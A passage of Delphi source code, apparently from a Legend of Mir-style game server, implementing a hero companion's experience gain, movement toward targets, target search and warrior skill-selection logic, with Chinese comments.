时间都是6秒 function THeroObject.AbilityUp(UserMagic: pTUserMagic): Boolean; var nSpellPoint, n14: Integer; begin Result := False; nSpellPoint := GetSpellPoint(UserMagic); if nSpellPoint > 0 then begin if m_WAbil.MP < nSpellPoint then Exit; if g_Config.boAbilityUpFixMode then begin//无极真气使用固定时长模式 20081109 n14:= g_Config.nAbilityUpFixUseTime;//无极真气使用固定时长 20081109 end else n14:=(UserMagic.btLevel * 2)+ 2 + g_Config.nAbilityUpUseTime;//20080603 m_dwStatusArrTimeOutTick[2] := GetTickCount + n14 * 1000; //m_wStatusArrValue[2] := MakeLong(LoWord(m_WAbil.SC), HiWord(m_WAbil.SC) - 2 - (m_Abil.Level div 7)) * 2; m_wStatusArrValue[2] := Round(HiWord(m_WAbil.SC)*(UserMagic.btLevel * 0.2 + 0.4));//提升值 20080827 //m_dwStatusArrTimeOutTick[2] := GetTickCount + 6 * 1000; SysMsg('(英雄) 道术瞬时提升' + IntToStr(m_wStatusArrValue[2]) + ',持续 ' + IntToStr(n14) + ' 秒', c_Green, t_Hint); RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 SendMsg(m_Master, RM_HEROABILITY, 0, 0, 0, 0, ''); SendMsg(m_Master, RM_HEROSUBABILITY, 0, 0, 0, 0, ''); Result := True; end; end; procedure THeroObject.GainExp(dwExp: LongWord); begin WinExp(dwExp); end; procedure THeroObject.WinExp(dwExp: LongWord); begin if m_Abil.Level > g_Config.nLimitExpLevel then begin dwExp := g_Config.nLimitExpValue; GetExp(dwExp); end else if dwExp > 0 then begin dwExp := g_Config.dwKillMonExpMultiple * dwExp; //系统指定杀怪经验倍数 dwExp := Round((m_nKillMonExpRate / 100) * dwExp); //人物指定的杀怪经验百分率 if m_PEnvir.m_boEXPRATE then dwExp := Round((m_PEnvir.m_nEXPRATE / 100) * dwExp); //地图上指定杀怪经验倍数 if m_boExpItem then begin //物品经验倍数 dwExp := Round(m_rExpItem * dwExp); end; GetExp(dwExp); end; end; //取得内力经验 20081001 Code:0-杀怪分配 1-非杀怪分配 2-饮酒,谁喝增加谁 3-主人分配杀怪经验 procedure THeroObject.GetNGExp(dwExp: LongWord; Code: Byte); begin if m_boTrainingNG then begin if m_Abil.Level > g_Config.nLimitExpLevel then begin dwExp := g_Config.nLimitExpValue; end else if (dwExp > 0) and (Code = 0) then begin dwExp := g_Config.dwKillMonExpMultiple * dwExp; //系统指定杀怪经验倍数 dwExp := Round((m_nKillMonExpRate / 100) * dwExp); //人物指定的杀怪经验百分率 if m_PEnvir.m_boEXPRATE then dwExp := Round((m_PEnvir.m_nEXPRATE / 100) * dwExp); //地图上指定杀怪经验倍数 if m_boExpItem then begin //物品经验倍数 dwExp := Round(m_rExpItem * dwExp); end; end else if (dwExp > 0) and (Code = 3) then begin dwExp := g_Config.dwKillMonNGExpMultiple * dwExp;//杀怪内功经验倍数 20081218 end; if (dwExp > 0) then begin if m_ExpSkill69 >= LongWord(dwExp) then begin//20090101 if (High(LongWord) - m_ExpSkill69) < LongWord(dwExp) then begin dwExp := High(LongWord) - m_ExpSkill69; end; end else begin if (High(LongWord) - LongWord(dwExp)) < m_ExpSkill69 then begin dwExp := High(LongWord) - LongWord(dwExp); end; end; Inc(m_ExpSkill69, dwExp);//内功心法当前经验 if not TPlayObject(m_Master).m_boNotOnlineAddExp then //只发送给非离线挂机人物 SendMsg(m_Master, RM_HEROWINNHEXP, 0, dwExp, 0, 0, ''); if m_ExpSkill69 >= m_MaxExpSkill69 then begin Dec(m_ExpSkill69, m_MaxExpSkill69); Inc(m_NGLevel); m_MaxExpSkill69:= GetSkill69Exp(m_NGLevel, m_Skill69MaxNH);//取内功心法升级经验 m_Skill69NH:= m_Skill69MaxNH; SendRefMsg(RM_MAGIC69SKILLNH, 0, m_Skill69NH, m_Skill69MaxNH, 0, ''); //内力值让别人看到 20081002 SendRefMsg(RM_MYSHOW, ET_OBJECTLEVELUP,0, 0, 0, ''); //人物升级动画 20081216 end; SendMsg(Self, RM_HEROMAGIC69SKILLEXP, 0, 0, 0, m_NGLevel, EncodeString(Inttostr(m_ExpSkill69)+'/'+Inttostr(m_MaxExpSkill69))); end; end; end; //分配给英雄经验 20080110 procedure THeroObject.GetExp(dwExp: LongWord); var nCode:byte; begin nCode:= 0; try if m_Abil.Exp >= LongWord(dwExp) then begin//20090101 if (High(LongWord) - m_Abil.Exp) < LongWord(dwExp) then begin dwExp := High(LongWord) - m_Abil.Exp; end; end else begin if (High(LongWord) - LongWord(dwExp)) < m_Abil.Exp then begin dwExp := High(LongWord) - LongWord(dwExp); end; end; m_GetExp:= dwExp;//人物取得的经验,$GetExp变量使用 20081228 Inc(m_nWinExp,dwExp); nCode:= 1; if m_nWinExp >= g_Config.nWinExp then begin //累计经验,达到一定值,增加英雄的忠诚度(20080110) nCode:= 2; m_nWinExp:=0; m_nLoyal:=m_nLoyal + g_Config.nExpAddLoyal; if m_nLoyal > 10000 then m_nLoyal:=10000; nCode:= 3; m_DefMsg := MakeDefaultMsg(SM_HEROABILITY, m_btGender, 0, m_btJob, m_nLoyal, 0);//更新英雄的忠诚度 20080306 SendSocket(@m_DefMsg, EncodeBuffer(@m_WAbil, SizeOf(TAbility))); end; nCode:= 4; Inc(m_Abil.Exp, dwExp); //AddBodyLuck(dwExp * 0.002); nCode:= 5; if not TPlayObject(m_Master).m_boNotOnlineAddExp then //只发送给非离线挂机人物 SendMsg(m_Master, RM_HEROWINEXP, 0, dwExp, 0, 0, ''); if m_Abil.Exp >= m_Abil.MaxExp then begin nCode:= 6; Dec(m_Abil.Exp, m_Abil.MaxExp); if (m_Abil.Level < MAXUPLEVEL) and (m_Abil.Level < g_Config.nLimitExpLevel) then Inc(m_Abil.Level);//20080715 增加限制等级 if m_Abil.Level < g_Config.nLimitExpLevel then HasLevelUp(m_Abil.Level - 1);//20080715 增加限制等级 //AddBodyLuck(100); nCode:= 7; AddGameDataLog('12' + #9 + m_sMapName + #9 + //英雄升级记录日志 20080911 IntToStr(m_Abil.Level) + #9 + IntToStr(m_Abil.Exp)+'/'+IntToStr(m_Abil.MaxExp) + #9 + m_sCharName + #9 +'0' + #9 + '0' + #9 + '1' + #9 + '(英雄)'); nCode:= 8; IncHealthSpell(2000, 2000); end; nCode:= 9; if m_Magic68Skill <> nil then begin//学过酒气护体 20080925 nCode:= 10; if m_Magic68Skill.btLevel < 100 then Inc(m_Exp68, dwExp); nCode:= 11; if m_Exp68 >= m_MaxExp68 then begin//超过升级经验,则升级技能 Dec(m_Exp68, m_MaxExp68); if m_Magic68Skill.btLevel < 100 then Inc(m_Magic68Skill.btLevel); nCode:= 12; m_MaxExp68 := GetSkill68Exp(m_Magic68Skill.btLevel); SendDelayMsg(Self, RM_HEROMAGIC_LVEXP, 0, m_Magic68Skill.MagicInfo.wMagicId, m_Magic68Skill.btLevel, m_Magic68Skill.nTranPoint, '', 100); end; nCode:= 13; if (Self <> nil) and (m_Magic68Skill.btLevel < 100) then SendMsg(Self, RM_HEROMAGIC68SKILLEXP, 0, 0, 0, 0, EncodeString(Inttostr(m_Exp68)+'/'+Inttostr(m_MaxExp68)));//发送酒气护体经验 //发消息更新客户端显示 end; except MainOutMessage('{异常} THeroObject.GetExp Code:'+ IntToStr(nCode)); end; end; //跑到目标坐标 function THeroObject.RunToTargetXY(nTargetX, nTargetY: Integer): Boolean; var nDir: Integer; n10: Integer; n14: Integer; begin Result := False; if m_boTransparent and (m_boHideMode) then m_wStatusTimeArr[STATE_TRANSPARENT ] := 1;//20080902 隐身,一动就显身 if (m_wStatusTimeArr[POISON_STONE] <> 0) and (not g_Config.ClientConf.boParalyCanSpell) then Exit;//麻痹不能跑动 20080915 if not m_boCanRun then Exit;//禁止跑,则退出 20080810 if GetTickCount()- m_dwRunIntervalTime > g_Config.dwRunIntervalTime then begin//20080925 //if GetTickCount()- dwTick3F4 > m_dwRunIntervalTime then begin //20080710 n10 := nTargetX; n14 := nTargetY; {nDir := DR_DOWN;//南 if n10 > m_nCurrX then begin nDir := DR_RIGHT;//东 if n14 > m_nCurrY then nDir := DR_DOWNRIGHT;//东南向 if n14 < m_nCurrY then nDir := DR_UPRIGHT;//东北向 end else begin if n10 < m_nCurrX then begin nDir := DR_LEFT;//西 if n14 > m_nCurrY then nDir := DR_DOWNLEFT;//西南向 if n14 < m_nCurrY then nDir := DR_UPLEFT;//西北向 end else begin if n14 > m_nCurrY then nDir := DR_DOWN//南 else if n14 < m_nCurrY then nDir := DR_UP;//正北 end; end; } nDir:= GetNextDirection(m_nCurrX , m_nCurrY, n10, n14);//20081005 if not RunTo(nDir, False, nTargetX, nTargetY) then begin Result := WalkToTargetXY(nTargetX, nTargetY); if Result then dwTick3F4 := GetTickCount(); end else begin if (abs(nTargetX - m_nCurrX) <= 1) and (abs(nTargetY - m_nCurrY) <= 1) then begin Result := True; //dwTick3F4 := GetTickCount(); m_dwRunIntervalTime:= GetTickCount();//20080925 end; end; end; end; //走向目标 function THeroObject.WalkToTargetXY(nTargetX, nTargetY: Integer): Boolean; var I: Integer; nDir: Integer; n10: Integer; n14: Integer; n20: Integer; nOldX: Integer; nOldY: Integer; begin Result := False; if m_boTransparent and (m_boHideMode) then m_wStatusTimeArr[STATE_TRANSPARENT ] := 1;//20080902 隐身,一动就显身 if (m_wStatusTimeArr[POISON_STONE] <> 0) and (not g_Config.ClientConf.boParalyCanSpell) then Exit;//麻痹不能跑动 20080915 if (abs(nTargetX - m_nCurrX) > 1) or (abs(nTargetY - m_nCurrY) > 1) then begin if GetTickCount()- dwTick3F4 > m_dwWalkIntervalTime then begin //20080217 增加走间隔 n10 := nTargetX; n14 := nTargetY; nDir := DR_DOWN; if n10 > m_nCurrX then begin nDir := DR_RIGHT; if n14 > m_nCurrY then nDir := DR_DOWNRIGHT; if n14 < m_nCurrY then nDir := DR_UPRIGHT; end else begin if n10 < m_nCurrX then begin nDir := DR_LEFT; if n14 > m_nCurrY then nDir := DR_DOWNLEFT; if n14 < m_nCurrY then nDir := DR_UPLEFT; end else begin if n14 > m_nCurrY then nDir := DR_DOWN else if n14 < m_nCurrY then nDir := DR_UP; end; end; nOldX := m_nCurrX; nOldY := m_nCurrY; WalkTo(nDir, False); if (abs(nTargetX - m_nCurrX) <= 1) and (abs(nTargetY - m_nCurrY) <= 1) then begin Result := True; dwTick3F4 := GetTickCount(); end; if not Result then begin n20 := Random(3); for I := DR_UP to DR_UPLEFT do begin if (nOldX = m_nCurrX) and (nOldY = m_nCurrY) then begin if n20 <> 0 then Inc(nDir) else if nDir > 0 then Dec(nDir) else nDir := DR_UPLEFT; if (nDir > DR_UPLEFT) then nDir := DR_UP; WalkTo(nDir, False); if (abs(nTargetX - m_nCurrX) <= 1) and (abs(nTargetY - m_nCurrY) <= 1) then begin Result := True; dwTick3F4 := GetTickCount(); Break; end; end; end; end; end;//20080217 end; end; //转向 function THeroObject.WalkToTargetXY2(nTargetX, nTargetY: Integer): Boolean; var I: Integer; nDir: Integer; n10: Integer; n14: Integer; n20: Integer; nOldX: Integer; nOldY: Integer; begin Result := False; if m_boTransparent and (m_boHideMode) then m_wStatusTimeArr[STATE_TRANSPARENT ] := 1;//20080902 隐身,一动就显身 if (m_wStatusTimeArr[POISON_STONE] <> 0) and (not g_Config.ClientConf.boParalyCanSpell) then Exit;//麻痹不能跑动 20080915 if (nTargetX <> m_nCurrX) or (nTargetY <> m_nCurrY) then begin if GetTickCount()- dwTick3F4 > m_dwTurnIntervalTime then begin //20080217 增加转向间隔 n10 := nTargetX; n14 := nTargetY; nDir := DR_DOWN; if n10 > m_nCurrX then begin nDir := DR_RIGHT; if n14 > m_nCurrY then nDir := DR_DOWNRIGHT; if n14 < m_nCurrY then nDir := DR_UPRIGHT; end else begin if n10 < m_nCurrX then begin nDir := DR_LEFT; if n14 > m_nCurrY then nDir := DR_DOWNLEFT; if n14 < m_nCurrY then nDir := DR_UPLEFT; end else begin if n14 > m_nCurrY then nDir := DR_DOWN else if n14 < m_nCurrY then nDir := DR_UP; end; end; nOldX := m_nCurrX; nOldY := m_nCurrY; WalkTo(nDir, False); if (nTargetX = m_nCurrX) and (nTargetY = m_nCurrY) then begin Result := True; dwTick3F4 := GetTickCount(); end; if not Result then begin n20 := Random(3); for I := DR_UP to DR_UPLEFT do begin if (nOldX = m_nCurrX) and (nOldY = m_nCurrY) then begin if n20 <> 0 then Inc(nDir) else if nDir > 0 then Dec(nDir) else nDir := DR_UPLEFT; if (nDir > DR_UPLEFT) then nDir := DR_UP; WalkTo(nDir, False); if (nTargetX = m_nCurrX) and (nTargetY = m_nCurrY) then begin Result := True; dwTick3F4 := GetTickCount(); Break; end; end; end; end; end;//20080217 end; end; //20080828修改 function THeroObject.GotoTargetXY(nTargetX, nTargetY, nCode: Integer): Boolean; begin case nCode of 0:begin//正常模式 if (abs(m_nCurrX - nTargetX) > 2{1}) or (abs(m_nCurrY - nTargetY) > 2{1}) then begin if m_wStatusTimeArr[STATE_LOCKRUN] = 0 then begin//20080812 增加,中珠网不能跑 Result := RunToTargetXY(nTargetX, nTargetY); end else begin Result := WalkToTargetXY2(nTargetX, nTargetY); //转向 end; end else begin Result := WalkToTargetXY2(nTargetX, nTargetY); //转向 end; end;//0 1:begin//躲避模式 if (abs(m_nCurrX - nTargetX) > 1) or (abs(m_nCurrY - nTargetY) > 1) then begin if m_wStatusTimeArr[STATE_LOCKRUN] = 0 then begin//20080812 增加,中珠网不能跑 Result := RunToTargetXY(nTargetX, nTargetY); end else begin Result := WalkToTargetXY2(nTargetX, nTargetY); //转向 end; end else begin Result := WalkToTargetXY2(nTargetX, nTargetY); //转向 end; end;//1 end; end; function THeroObject.Operate(ProcessMsg: pTProcessMessage): Boolean; begin // Result:=False; case ProcessMsg.wIdent of RM_STRUCK: begin//受物理打击 if (ProcessMsg.BaseObject = Self) and (TBaseObject(ProcessMsg.nParam3 {AttackBaseObject}) <> nil) then begin if (TBaseObject(ProcessMsg.nParam3).m_btRaceServer = RC_PLAYOBJECT) then begin//20080531 增加 if (not TBaseObject(ProcessMsg.nParam3).InSafeZone) and (not InSafeZone) then begin SetLastHiter(TBaseObject(ProcessMsg.nParam3 {AttackBaseObject}));//设置最后打击自己的人 Struck(TBaseObject(ProcessMsg.nParam3{AttackBaseObject})); BreakHolySeizeMode(); end; end else begin SetLastHiter(TBaseObject(ProcessMsg.nParam3 {AttackBaseObject}));//设置最后打击自己的人 Struck(TBaseObject(ProcessMsg.nParam3 {AttackBaseObject})); BreakHolySeizeMode(); end; if (m_Master <> nil) and (TBaseObject(ProcessMsg.nParam3) <> m_Master) and ((TBaseObject(ProcessMsg.nParam3).m_btRaceServer = RC_PLAYOBJECT) or (TBaseObject(ProcessMsg.nParam3).m_btRaceServer = RC_HEROOBJECT)) then begin//英雄灰色 20080721 m_Master.SetPKFlag(TBaseObject(ProcessMsg.nParam3)); end; if g_Config.boMonSayMsg then MonsterSayMsg(TBaseObject(ProcessMsg.nParam3), s_UnderFire); end; Result := True; end; else begin Result := inherited Operate(ProcessMsg); end; end; end; { 20080117 function THeroObject.CompareHP(BaseObject1, BaseObject2: TBaseObject): Boolean; var HP1, HP2: Integer; begin HP1 := BaseObject1.m_WAbil.HP * 100 div BaseObject1.m_WAbil.MaxHP; HP2 := BaseObject2.m_WAbil.HP * 100 div BaseObject2.m_WAbil.MaxHP; Result := HP1 > HP2; end; function THeroObject.CompareLevel(BaseObject1, BaseObject2: TBaseObject): Boolean; begin Result := BaseObject1.m_WAbil.Level < BaseObject2.m_WAbil.Level; end; function THeroObject.CompareXY(BaseObject1, BaseObject2: TBaseObject): Boolean; var nXY1, nXY2: Integer; begin nXY1 := abs(BaseObject1.m_nCurrX - m_nCurrX) + abs(BaseObject1.m_nCurrY - m_nCurrY); nXY2 := abs(BaseObject2.m_nCurrX - m_nCurrX) + abs(BaseObject2.m_nCurrY - m_nCurrY); Result := nXY1 > nXY2; end; } //被击中 procedure THeroObject.Struck(hiter: TBaseObject); begin if not m_boTarget then begin m_dwStruckTick := GetTickCount; if hiter <> nil then begin {20080710注释} {20080222 注释} if (m_TargetCret = nil) {and (m_btStatus = 0)} and (not m_boTarget){ or GetAttackDir(m_TargetCret, btDir)or (Random(6) = 0)} then begin if IsProperTarget(hiter) then SetTargetCreat(hiter);//设置为目标 end; end; if m_boAnimal then begin m_nMeatQuality := m_nMeatQuality - Random(300); if m_nMeatQuality < 0 then m_nMeatQuality := 0; end; end; m_dwHitTick := m_dwHitTick + LongWord(150 - _MIN(130, m_Abil.Level * 4)); end; procedure THeroObject.Attack(TargeTBaseObject: TBaseObject; nDir: Integer); begin inherited AttackDir(TargeTBaseObject, m_wHitMode, nDir); end; procedure THeroObject.DelTargetCreat; begin inherited; m_nTargetX := -1; m_nTargetY := -1; end; //查找目标 procedure THeroObject.SearchTarget; var BaseObject, BaseObject18: TBaseObject; I, nC, n10: Integer; begin if (m_TargetCret = nil) and m_boTarget then m_boTarget := False; if (m_TargetCret <> nil) and m_boTarget then begin if m_TargetCret.m_boDeath then m_boTarget := False; end; if (m_btStatus = 0) and {not m_boProtectStatus and} not m_boTarget then begin//守护状态一样查找目标 20080402 BaseObject18 := nil; n10 := 15; for I := 0 to m_VisibleActors.Count - 1 do begin BaseObject := TBaseObject(pTVisibleBaseObject(m_VisibleActors.Items[I]).BaseObject); if BaseObject <> nil then begin if not BaseObject.m_boDeath then begin if IsProperTarget(BaseObject) and (not BaseObject.m_boHideMode or m_boCoolEye) then begin nC := abs(m_nCurrX - BaseObject.m_nCurrX) + abs(m_nCurrY - BaseObject.m_nCurrY); if nC < n10 then begin n10 := nC; BaseObject18 := BaseObject; end; end; end; end; end; if BaseObject18 <> nil then begin SetTargetCreat(BaseObject18); {if (m_TargetCret <> nil) and (m_TargetCret.m_boDeath) then m_TargetCret := nil; if m_TargetCret <> nil then begin if CompareHP(m_TargetCret, BaseObject18) and CompareLevel(m_TargetCret, BaseObject18) and CompareXY(m_TargetCret, BaseObject18) then begin SetTargetCreat(BaseObject18); end; end else SetTargetCreat(BaseObject18); } end; end; end; procedure THeroObject.SetTargetXY(nX, nY: Integer); begin m_nTargetX := nX; m_nTargetY := nY; end; procedure THeroObject.Wondering; begin if (Random(10) = 0) then if (Random(4) = 1) then TurnTo(Random(8)) else WalkTo(m_btDirection, False); end; //是不是可以使用的魔法 20080606 //UserMagic.btKey 0-技能开,1--技能关 function THeroObject.IsAllowUseMagic(wMagIdx: Word): Boolean; var UserMagic: pTUserMagic; begin Result := False; UserMagic := CheckUserMagic(wMagIdx); if UserMagic <> nil then begin if (GetSpellPoint(UserMagic) < m_WAbil.MP) and (UserMagic.btKey = 0) then Result := True; end; end; function THeroObject.SelectMagic(): Integer; //var // I:integer; // Slave:TBaseObject ; begin Result := 0; case m_btJob of 0: begin //战士 if IsAllowUseMagic(75) and (m_wStatusTimeArr[STATE_ProtectionDEFENCE] = 0) and (not m_boProtectionDefence) and (m_ExpHitter <> nil) and//20081214 受攻击时才开盾 (GetTickCount - m_boProtectionTick > g_Config.dwProtectionTick) and (GetTickCount - m_SkillUseTick[75] > 3000) then begin //使用 护体神盾 20080107 m_SkillUseTick[75]:= GetTickCount;//20080228 Result := 75; Exit; end; if IsAllowUseMagic(68) and (m_WAbil.MP > 30) and (GetTickCount - m_SkillUseTick[68] > 3000) then begin//酒气护体 20080925 if (m_Abil.WineDrinkValue >= Round(m_Abil.MaxAlcohol * g_Config.nMinDrinkValue68 div 100)) then begin if (GetTickCount - m_dwStatusArrTimeOutTick[4] > g_Config.nHPUpTick * 1000) and (m_wStatusArrValue[4] = 0) then begin m_SkillUseTick[68]:= GetTickCount; Result := 68; Exit; end; end; end; //远距离则用开天重击或是逐日剑法 20080603 if ((abs(m_TargetCret.m_nCurrX - m_nCurrX) > 2) and (abs(m_TargetCret.m_nCurrX - m_nCurrX) < 5)) or ((abs(m_TargetCret.m_nCurrY - m_nCurrY) > 2) and (abs(m_TargetCret.m_nCurrY - m_nCurrY) < 5)) then begin if IsAllowUseMagic(43) and ((GetTickCount - m_dwLatest42Tick) > g_Config.nKill43UseTime * 1000) then begin m_bo42kill := True; m_n42kill := 2;//重击 Result := 43; Exit; end; if IsAllowUseMagic(74) and ((GetTickCount - m_dwLatestDailyTick) > 12000{12 * 1000}) then begin //逐日剑法 20080528 m_boDailySkill := True; Result := 74; Exit; end; end; if IsAllowUseMagic(43) and ((GetTickCount - m_dwLatest42Tick) > g_Config.nKill43UseTime * 1000) then begin //开天斩 20080203 m_bo42kill := True; Result := 43; if (Random(g_Config.n43KillHitRate) = 0) and (g_Config.btHeroSkillMode43 or (m_TargetCret.m_Abil.Level <= m_Abil.Level)) then begin//目标等级不高于自己,才使用重击 20080826 m_n42kill := 2;//重击 end else begin m_n42kill := 1;//轻击 end; Exit; end; //刺杀位 20080603 if (abs(m_TargetCret.m_nCurrX - m_nCurrX) = 2) or (abs(m_TargetCret.m_nCurrY - m_nCurrY) = 2) then begin if IsAllowUseMagic(12) then begin //英雄刺杀剑术 if not m_boUseThrusting then ThrustingOnOff(True); Result := 12; exit; end; end; if IsAllowUseMagic(74) and ((GetTickCount - m_dwLatestDailyTick) > 12000{12 * 1000}) then begin //逐日剑法 20080528 m_boDailySkill := True; Result := 74; Exit; end; if IsAllowUseMagic(26) and ((GetTickCount - m_dwLatestFireHitTick) > 9000{9 * 1000}) then begin //烈火 20080112 修正 //AllowFireHitSkill; m_boFireHitSkill := True; Result := 26; Exit; end; if IsAllowUseMagic(42) and (GetTickCount - m_dwLatest43Tick > g_Config.nKill42UseTime * 1000) then begin //龙影剑法 20080619 m_bo43kill := True; Result := 42; Exit; end; if ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) and (m_TargetCret.m_Abil.Level < m_Abil.Level){ and (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.8))} then begin //PK时,使用野蛮冲撞 20080826 血低于800时使用 if IsAllowUseMagic(27) and ((GetTickCount - m_SkillUseTick[27]) > 10000{10 * 1000}) then begin //pk时如果对方等级比自己低就每隔一段时间用一次野蛮 20080203 m_SkillUseTick[27] := GetTickCount; Result := 27; Exit; end end else begin //打怪使用 20080323 if IsAllowUseMagic(27) and ((GetTickCount - m_SkillUseTick[27]) > 10000{10 * 1000}) and (m_TargetCret.m_Abil.Level < m_Abil.Level) and (m_WAbil.HP <= Round(m_WAbil.MaxHP * 0.85)) then begin m_SkillUseTick[27] := GetTickCount; Result := 27; Exit; end; end; if (m_TargetCret.m_Master <> nil) then m_ExpHitter := m_TargetCret.m_Master;//20080924 if CheckTargetXYCount1(m_nCurrX, m_nCurrY, 1) > 1 then begin //被怪物包围 //20080924 case Random(3) of 0:begin //20080710 PK时不用狮子吼 if IsAllowUseMagic(41) and (GetTickCount - m_SkillUseTick[41] > 10000{10 * 1000}) and (m_TargetCret.m_Abil.Level < m_Abil.Level) and (m_TargetCret.m_btRaceServer <> RC_PLAYOBJECT) and (m_TargetCret.m_btRaceServer <> RC_HEROOBJECT) then begin m_SkillUseTick[41] := GetTickCount; //狮子吼 Result := 41; Exit; end; if IsAllowUseMagic(7) and ((GetTickCount - m_SkillUseTick[7]) > 10000{10 * 1000}) then begin //攻杀剑术 20071213 m_SkillUseTick[7]:= GetTickCount; m_boPowerHit := True;//20080401 开启刺杀 Result := 7; Exit; end; if IsAllowUseMagic(39) and (GetTickCount - m_SkillUseTick[39] > 10000{10 * 1000}) then begin m_SkillUseTick[39] := GetTickCount; //英雄彻地钉 Result := 39; Exit; end; if IsAllowUseMagic(25) and (CheckTargetXYCount2 > 0){and (GetTickCount - m_SkillUseTick[25] > 1000 * 3)} then begin //英雄半月弯刀 //m_SkillUseTick[25] := GetTickCount; if not m_boUseHalfMoon then HalfMoonOnOff(True); Result := 25; exit; end; if IsAllowUseMagic(40) {and (GetTickCount - m_SkillUseTick[40] > 1000 * 3)} then begin //英雄抱月刀法 // m_SkillUseTick[40] := GetTickCount; if not m_boCrsHitkill then SkillCrsOnOff(True); Result := 40; exit; end; if IsAllowUseMagic(12) then begin //英雄刺杀剑术 if not m_boUseThrusting then ThrustingOnOff(True); Result := 12; exit; end; end; 1:begin if IsAllowUseMagic(41) and (GetTickCount - m_SkillUseTick[41] > 10000{10 * 1000}) and (m_TargetCret.m_Abil.Level < m_Abil.Level) and (m_TargetCret.m_btRaceServer <> RC_PLAYOBJECT) and (m_TargetCret.m_btRaceServer <> RC_HEROOBJECT) then begin m_SkillUseTick[41] := GetTickCount; //狮子吼 Result := 41; Exit; end; if IsAllowUseMagic(7) and ((GetTickCount - m_SkillUseTick[7]) > 10000{10 * 1000}) then begin //攻杀剑术 20071213 m_SkillUseTick[7]:= GetTickCount; m_boPowerHit := True;//20080401 开启刺杀 Result := 7; Exit; end; if IsAllowUseMagic(39) and (GetTickCount - m_SkillUseTick[39] > 10000{10 * 1000}) then begin m_SkillUseTick[39] := GetTickCount; //英雄彻地钉 Result := 39; Exit; end; if IsAllowUseMagic(40) {and (GetTickCount - m_SkillUseTick[40] > 1000 * 3)} then begin //英雄抱月刀法 //m_SkillUseTick[40] := GetTickCount; if not m_boCrsHitkill then SkillCrsOnOff(True); Result := 40; exit; end; if IsAllowUseMagic(25) and (CheckTargetXYCount2 > 0){and (GetTickCount - m_SkillUseTick[25] > 1000 * 3)} then begin //英雄半月弯刀 //m_SkillUseTick[25] := GetTickCount; if not m_boUseHalfMoon then HalfMoonOnOff(True); Result := 25; exit; end; if IsAllowUseMagic(12) then begin //英雄刺杀剑术 if not m_boUseThrusting then ThrustingOnOff(True); Result := 12; exit; end; end; 2:begin if IsAllowUseMagic(41) and (GetTickCount - m_SkillUseTick[41] > 10000{10 * 1000}) and (m_TargetCret.m_Abil.Level < m_Abil.Level) and (m_TargetCret.m_btRaceServer <> RC_PLAYOBJECT) and (m_TargetCret.m_btRaceServer <> RC_HEROOBJECT) then begin m_SkillUseTick[41] := GetTickCount; //狮子吼 Result := 41; Exit; end; if IsAllowUseMagic(39) and (GetTickCount - m_SkillUseTick[39] > 10000{10 * 1000}) then begin m_SkillUseTick[39] := GetTickCount; //英雄彻地钉 Result := 39; Exit; end; if IsAllowUseMagic(7) and ((GetTickCount - m_SkillUseTick[7]) > 10000{10 * 1000}) then begin //攻杀剑术 20071213 m_SkillUseTick[7] := GetTickCount; m_boPowerHit := True;//20080401 开启刺杀 Result := 7; Exit; end; if IsAllowUseMagic(40) {and (GetTickCount - m_SkillUseTick[40] > 1000 * 3)} then begin //英雄抱月刀法 //m_SkillUseTick[40] := GetTickCount; if not m_boCrsHitkill then SkillCrsOnOff(True); Result := 40; exit; end; if IsAllowUseMagic(25) and (CheckTargetXYCount2 > 0){and (GetTickCount - m_SkillUseTick[25] > 1000 * 3)} then begin //英雄半月弯刀 //m_SkillUseTick[25] := GetTickCount; if not m_boUseHalfMoon then HalfMoonOnOff(True); Result := 25; exit; end; if IsAllowUseMagic(12) then begin //英雄刺杀剑术 if not m_boUseThrusting then ThrustingOnOff(True); Result := 12; exit; end; end; end; end else begin if ((m_TargetCret.m_btRaceServer = RC_PLAYOBJECT) or (m_TargetCret.m_btRaceServer = RC_HEROOBJECT) or (m_TargetCret.m_Master <> nil)) and (CheckTargetXYCount1(m_nCurrX, m_nCurrY, 1) > 1) then begin//PK 20080915 身边超过2个目标才使用 if IsAllowUseMagic(40) and (GetTickCount - m_SkillUseTick[40] > 3000) then begin //英雄抱月刀法 m_SkillUseTick[40] := GetTickCount; if not m_boCrsHitkill then SkillCrsOnOff(True); Result := 40; exit; end; if IsAllowUseMagic(25) and (CheckTargetXYCount2 > 0) and (GetTickCount - m_SkillUseTick[25] > 1500) then begin //英雄半月弯刀 m_SkillUseTick[25] := GetTickCount; if not m_boUseHalfMoon then HalfMoonOnOff(True); Result := 25; exit; end; end; //20071213增加 少于三个怪用 刺杀剑术 if IsAllowUseMagic(7) and ((GetTickCount - m_SkillUseTick[7]) > 10000{10 * 1000}) then begin //攻杀剑术 m_SkillUseTick[7]:= GetTickCount; m_boPowerHit := True;//20080401 开启攻杀 Result := 7; Exit; end; if IsAllowUseMagic(12) and (GetTickCount - m_SkillUseTick[12] > 1000) then begin //英雄刺杀剑术 if not m_boUseThrusting then ThrustingOnOff(True); m_SkillUseTick[12]:= GetTickCount; Result := 12; Exit; end; end; //从高到低使用魔法,20080710 if IsAllowUseMagic(43) and (GetTickCount - m_dwLatest42Tick > g_Config.nKill43UseTime * 1000) then begin //开天斩 m_bo42kill := True; Result := 43; if (Random(g_Config.n43KillHitRate) = 0) and (g_Config.btHeroSkillMode43 or (m_TargetCret.m_Abil.Level <= m_Abil.Level)) then begin m_n42kill := 2;//重击 end else begin m_n42kill := 1;//轻击 end; Exit; end else if IsAllowUseMagic(42) and (GetTickCount - m_dwLatest43Tick > g_Config.nKill42UseTime * 1000) then begin //龙影剑法 m_bo43kill := True; Result := 42; Exit; end else if IsAllowUseMagic(74) and (GetTickCount - m_dwLatestDailyTick > 12000) then begin //逐日剑法 m_boDailySkill := True; Result := 74; Exit; end else if IsAllowUseMagic(26) and (GetTickCount - m_dwLatestFireHitTick > 9000) then begin //烈火 m_boFireHitSkill := True; Result := 26; Exit; end; if IsAllowUseMagic(40) and (GetTickCount - m_SkillUseTick[40] > 3000) and (CheckTargetXYCount1(m_nCurrX, m_nCurrY, 1) > 1) then begin //英雄抱月刀法 if not m_boCrsHitkill then SkillCrsOnOff(True); m_SkillUseTick[40]:= GetTickCount(); Result := 40; exit; end; if IsAllowUseMagic(39) and (GetTickCount - m_SkillUseTick[39] > 3000) then begin//英雄彻地钉 m_SkillUseTick[39]:= GetTickCount; Result := 39; 